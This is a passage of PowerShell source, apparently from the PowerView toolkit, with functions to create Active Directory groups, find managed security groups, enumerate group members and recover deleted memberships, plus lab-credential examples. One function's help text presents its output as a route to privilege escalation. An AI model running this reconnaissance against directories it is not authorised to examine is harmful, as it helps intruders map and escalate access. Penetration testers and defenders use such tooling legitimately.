+DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER Name + +Specifies the name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the group to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' + +Creates the 'TestGroup' group with the specified description. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.GroupPrincipal +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity + + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } + + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } + } +} + + +function Get-DomainManagedSecurityGroup { +<# +.SYNOPSIS + +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +.DESCRIPTION + +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +Store a list of all security groups with managers in group-managers.csv + +.OUTPUTS + +PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + else { + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + # Write-Host "GroupManager: $GroupManager" + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup + } + } +} + + +function Get-DomainGroupMember { +<# +.SYNOPSIS + +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Recurse + +Switch. If the group member is a group, recursively try to query its members as well. + +.PARAMETER RecurseUsingMatchingRule + +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMember "Desktop Admins" + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +'Desktop Admins' | Get-DomainGroupMember -Recurse + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember + +.EXAMPLE + +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($GroupSearcher) { + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments + + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" + } + else { + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} + } + $Null = $SearcherArguments.Remove('Raw') + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" + try { + $Result = $GroupSearcher.FindOne() + } + catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" + $Members = @() + } + + $GroupFoundName = '' + $GroupFoundDN = '' + + if ($Result) { + $Members = $Result.properties.item('member') + + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! + $Finished = $False + $Bottom = 0 + $Top = 0 + + while (-not $Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + + if ($Members.count -eq 0) { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + $Members += $Result.Properties.item($RangedProperty) + } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + } + } + + ForEach ($Member in $Members) { + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties + } + + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN + + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) + } + else { + $MemberSID = $Null + } + + try { + $MemberDN = $Properties.distinguishedname[0] + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { + try { + if (-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn[0] + } + } + + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') + $GroupMember + + # if we're doing manual recursion + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments + } + } + } + $GroupSearcher.dispose() + } + } +} + + +function Get-DomainGroupMemberDeleted { +<# +.SYNOPSIS + +Returns information on group members that were removed from the specified +group identity. Accomplished by searching the linked attribute replication +metadata for the group using Get-DomainObjectLinkedAttributeHistory. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectLinkedAttributeHistory + +.DESCRIPTION + +Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute +replication metadata for the specified group. These are cases where the +'Version' attribute of group member in the replication metadata is even. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMemberDeleted | Group-Object GroupDN + +Count Name Group +----- ---- ----- + 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... + 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... + +.EXAMPLE + +Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local + + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T23:07:43Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 